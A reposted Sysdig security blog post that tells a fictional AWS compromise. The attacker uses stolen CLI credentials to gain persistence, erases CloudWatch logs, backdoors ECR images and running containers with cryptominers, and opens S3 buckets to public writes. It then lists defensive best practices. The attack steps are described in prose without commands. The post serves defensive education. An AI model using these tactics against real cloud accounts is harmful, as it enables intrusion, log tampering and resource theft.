Unified threat detection for AWS cloud and containers

This blog was originally published by Sysdig here.

Written by Vicente Herrera García, Sysdig

Implementing effective threat detection for AWS requires visibility into all of your cloud services and containers. An application is composed of a number of elements: hosts, virtual machines, containers, clusters, stored information, and input/output data streams. When you add configuration and user management to the mix, it’s clear that there is a lot to secure!

As you move your applications to the cloud, you expect to increase development speed, performance, scalability, and availability. You’ll also gain access to new kinds of capabilities like Lambda functions and Fargate deployments. Since AWS is responsible for the maintenance of the cloud services you’re using, you are freed to focus on your applications that drive your business.

AWS puts great effort into keeping its cloud services working and safe, providing you with tools to improve your security posture. However, the reality is that security in the cloud is a “shared responsibility model.” This means that you, as a user, also have to do some work to keep your infrastructure safe. It makes sense. After all, your team is the one writing the apps and managing your services’ configuration.

In this article, we will go through a fictitious scenario to demonstrate how cloud security also compromises workload security. We’ll follow the steps of a malicious actor, trying to exploit your cloud account and its assets. This will help you put yourself in the shoes of an attacker, and in doing so, discover some best practices that will help you secure your infrastructure.

A catastrophic story begins

One Friday evening, one of the engineers in your organization is working from home on his company laptop. They are happily working on a deployment, using their AWS CLI credentials which are always taken good care of.

However, something unexpected happens.

The company laptop begins having issues, with the screen constantly flickering. It’s impossible to work under these conditions. In a hurry to deploy the release their team has been working on, our engineer decides to use a personal desktop computer to continue working.

Some would say the catastrophe was doing a deployment on a Friday night, but in this case, something dark was lurking on that personal computer. The engineer’s teenager snuck onto the computer to download some Minecraft mods several days ago. After visiting some shady webpages, malware made its way into the computer.

Our engineer, not knowing anything about this situation, confidently copies their ~/.aws/credentials file required to run AWS CLI commands to the personal computer. Check below to see what this file looks like. It stores the AWS access key and secret. Anyone with this information could impersonate the engineer and access the AWS infrastructure via the command line.

The malware was already monitoring the filesystem, waiting for such a yummy file to appear. As a good program, it does what it’s told and sends the file to his master.

The attacker perspective

The steps described in this section are merely informative. Some steps have been intentionally left out, or generalized to avoid providing dangerous information that doesn’t help to protect against these attacks.

Our story moves forward, fading with a “several days later” title to a dark room, only lit by a laptop screen. The laptop has a protective layer of stickers on its back, and behind the keyboard is our attacker, wearing a hoodie. This is a fictional story, of course this character wears a hoodie. How else would you know he is a bad hacker? ;)

Our shadow attacker was patiently waiting for a victim. They didn’t hold their breath once they received our engineer’s credentials.

“This is gold,” the attacker thought.

Immediately, our attacker started poking into the account, cautiously checking if somebody was noticing anything weird. After the weekend, they were confident they could enter the system undetected.

One of the first things our attacker realizes is that, although the user required MFA (Multi-Factor Authentication) to access the web console, this security measure wasn’t set up for the CLI credentials stored in the .aws/credentials file.

The attacker could infiltrate the cloud infrastructure by using the command-line interface.

Persistence

Once inside the account, the first thing the attacker does is make sure they have a way to keep accessing the account even if the credentials are revoked. This is classified as a persistence tactic by the MITRE ATT&CK framework.

They create additional access keys for this and other users that they download, without a time limit for rotating them.

They also create a new user and add it to a group that has as many privileges as possible.

Our attacker also discovers that they can attach an inline policy to the user that allows all privileges, so they do so in case they’re removed from the group.

Defense evasion

The attacker knows their position is safe, but only as long as they aren’t detected. How can they cover their tracks in the AWS account, so no one suspects their presence?

They see that CloudTrail trail is logging all AWS commands, including each of their actions. If anyone checks these records, our attacker will be quickly exposed.

But they are unable to disable CloudTrail with their access level. No worries, though. There’s a plan B. All the events are being logged to a CloudWatch logstream, so that gives them an idea. They’ll just reset the content of that logstream when they have finished their work, erasing the traces of the extent of the attack.

Now the attacker can be more aggressive.

VPC security group

After further exploration of the AWS account, the attacker discovers a lot of interesting assets. Is this what they were looking for?

However, those assets are on a VPC (Virtual Private Cloud), without access to the exterior.

A VPC uses a virtual network to logically isolate all its assets. This is considered a best practice, following zero trust principles. In case an asset is compromised, the attacker only has direct access to the items on that particular VPC.

This isolating policy is defined in a security group, that in this case excludes communications originating from outside the VPC.

But the attacker wants to send connections to the assets they’re going to compromise, so they modify the security policy of the VPC to allow ingress communication from any origin.

Compromise container images on ECR repositories

The attacker is an expert in hiding cryptomining software in container images. Who can blame them? Cryptocurrencies are skyrocketing, and that’s what everyone is talking about lately.

Check some articles in our blog for reference:

• Crypto mining attack from a wordpress server
• Zoom into Kinsing

“How can I install the most crypto miners with the least effort,” they ask themselves.

Then they think of the ECR repositories, which include images that are deployed hundreds of times in the organization. So the attacker pulls some images, adds a layer that sideloads the cryptominer in them, and then pushes the modified images to the ECR repositories using the same tags as the originals.

Compromise running workloads

Impatiently, the attacker taps their fingers on the desktop. Images are not being deployed yet. They can’t wait for those images to be used on new deployments. They want something running now to ensure their operations are successful.

Our attacker sees an EKS (Elastic Kubernetes Service) cluster created with the same user credentials they are hijacking, so they can get Kubectl access to them.

They execute a terminal shell in one of the running containers, currently executing Nginx. External connections won’t look suspicious in that one. After a quick download, the attacker gets a cryptominer up and running:

They also create a modified libc library to hide this process from Linux binary tools like ps, pstree, top, htop, and any other one that relies on reading the /proc file system.

Done!

Now before leaving, they delete the Bash so no one knows they’ve been here:

Compromise Fargate workload

But greed knows no limits. There are still a few services our attacker can repurpose for crypto mining.

This organization has an ECS (Elastic Container Services) cluster with Fargate tasks.

This is a very useful technology that can easily scale up to accommodate any amount of increasing workload. However it is kind of a “black box,” and you should monitor what is happening inside of it to avoid being left in the dark.

Using the newly released feature for the ECS exec command, the attacker spawns an interactive shell inside an ECS Fargate container.

Using this shell connection, the attacker installs a botnet command and control center that will coordinate several bots, directing them against targeted attacks.

Enable public write to S3 buckets

Our attacker makes a final stop to put the icing on the cake. They wonder, “what is this company storing in the S3 buckets – anything valuable?”

S3 buckets are a very convenient and low-cost file storage system in AWS. They are used in conjunction with many services, and can also host static files to be served in HTTP requests.

The attacker sees several JavaScript libraries stored in an S3 bucket for public read. Write access, however, is not open to the public. This is a common practice to speed up loading web pages.

As a final insult, aiming to imitate what happened to Twilio in 2020, the attacker enables write access for the S3 bucket to the public.

They then share the S3 bucket information in a forum, so anybody can exploit those JavaScript. Will people inject those files with malicious code that will execute on the browser of all visitors to those websites? That would create an extremely dangerous situation.

A happy ending

Our engineer, clueless to these actions, initially ignores all the noise in the company chat channels. But then they receive a call. The attack was detected after a huge invoice was received by the company, and traced to the engineer’s account.

Our engineer feels dizzy. How could that happen? Is this the end?

No!

The engineer awakes in the middle of the night. It was all a bad dream. It was only yesterday that they did that original deployment.

The next morning, the engineer calls the security team, asking them to invalidate the credentials. “It’s OK,” they say. “Even if your credentials were leaked, we would have detected the attack.” They proceed to describe the security measures that are in place.

Securing the cloud the right way

Our fictitious attack is an exaggeration. With each action, the attacker increased the possibility of being detected. In a real situation, most attackers will not try to exploit so many different attack vectors, but it’s a good overview to point out how many different places can be compromised.

And the second important message is that all of these scenarios are preventable by following some standard best practices and having security tools and procedures in place.

Of course, the original mistake is the obvious thing to fix: tell people not to use unsanctioned computers. But there are a plethora of ways that credentials can be exposed, like connecting to an unknown wireless network or having the laptop stolen (if it didn’t have an encrypted hard drive). A common agreement among security specialists is that you have to design security by thinking your credentials have been already compromised.

You can not only enable MFA for your web console access, but also for CLI authentication, something that is not used often enough. Validating with your MFA device will provide you with a temporal token, valid for 12 hours.

Always create users with the least privileges they need, especially without the ability to create other users or credentials, increase their privilege, or change the security settings to be less restrictive.

The root account should not be used for daily activities, and be kept protected the most.

In general, all users should have:

• Enabled MFA.
• A strong password policy.
• Rotation of passwords and stored credentials.
• Only one set of credential keys for each account.

And any unused user or credential should be removed.

CloudTrail is an AWS service that logs all the commands and activity on your AWS account. If someone infiltrates your organization they will most probably leave some traces there.

CloudTrail can provide you with a CloudWatch log to review the security events, or deliver the information via an SNS (Simple Notification Service) queue. You can extend CloudWatch functionalities by integrating an SNS queue with your own analyzer, validating the security events against your policies, cutting through the noise, and notifying the right people.

In ECR, you can prevent pushing an image that is re-using an existing tag by activating image tag immutability. This keeps the image from having unexpected content on different occasions. It is also a container security best practice to use the digest or image ID instead of the tag in your deployments. In any case, do not allow the use of latest or no tag on production environments.

For EKS, the user that creates the clusters has a special consideration and can add other users to the RBAC control. So, use one specific user for the creation and RBAC configuration, and nothing else.

Setting up the most restrictive VPC and networking configuration for all workloads is essential to prevent unsanctioned communications.

The final and most useful piece of advice is for you to check the AWS Security Hub, where you will find recommendations and security benchmarks for your account.

Conclusion

In this article, we’ve seen how important it is to secure your cloud infrastructure, and how AWS provides you with the tools to protect your workloads.

You can visit the AWS Security Hub to get security recommendations and benchmarks for your account.